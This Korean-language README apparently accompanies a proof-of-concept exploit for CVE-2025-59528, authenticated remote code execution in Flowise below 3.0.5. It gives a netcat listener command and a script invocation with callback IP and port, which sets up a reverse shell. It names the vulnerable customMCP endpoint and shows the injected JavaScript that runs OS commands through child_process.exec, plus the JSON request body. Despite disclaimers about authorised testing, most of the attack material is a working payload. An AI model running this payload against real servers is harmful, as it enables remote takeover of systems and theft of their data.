
CVE-2025-59528에 대한 개념 증명으로, mcpServerConfig 주입을 통한 Flowise의 인증된 원격 코드 실행을 시연하며, 승인된 테스트를 위한 재현 가능한 절차를 포함합니다.
승인된 환경에서 취약점의 기술적 검증에 초점을 맞춘 최소 PoC입니다.
nc -lvn 4444).먼저 리스너를 시작합니다:
nc -lvn 4444
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY
값을 승인된 환경 설정에 맞게 교체하세요.
3.0.5 미만원격 코드 실행 (RCE)POST /api/v1/node-load-method/customMCP 엔드포인트문제는 inputs.mcpServerConfig가 처리되는 방식에서 발생합니다. 이 값은 서버 측 JavaScript 실행을 허용하는 방식으로 해석됩니다. 실제로 인증된 공격자는 child_process를 호출하고 OS 명령을 실행하는 표현식을 주입할 수 있습니다.
악용 흐름은 다음과 같습니다:
customMCP 엔드포인트에 요청을 구성합니다.mcpServerConfig에 악성 JavaScript 표현식을 넣습니다.process.mainModule.require('child_process')를 트리거합니다.exec/execSync)을 실행합니다.승인되면 서버는 시스템 컨텍스트에서 명령을 실행합니다.
poc.py)이 스크립트는 네 가지 인수를 받습니다:
-d/--domain: 대상 도메인-lh/--host: 콜백 IP-lp/--port: 콜백 포트-A/--api: Bearer API 토큰그런 다음 다음을 수행합니다:
http://<domain>/api/v1/node-load-method/customMCPAuthorization: Bearer <token> 헤더를 추가합니다({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<injected JS expression>"
}
}
EDB PoC(이메일/비밀번호 로그인 수행, 브라우저 유사 헤더 사용, 자유 형식 --cmd 실행)와 비교하여, 이 스크립트는 순수 PoC 검증에 더 적합합니다:
mcpServerConfig 주입 및 서버 측 실행.요약하자면: EDB 스크립트는 더 일반적인 공격 데모인 반면, 이 PoC는 기술적 재현성에 더 초점을 맞춥니다.
https 모드 또는 인증서 처리가 없습니다.--cmd로 매개변수화되지 않음).소유한 시스템 또는 명시적 승인을 받은 시스템에서만 테스트하세요.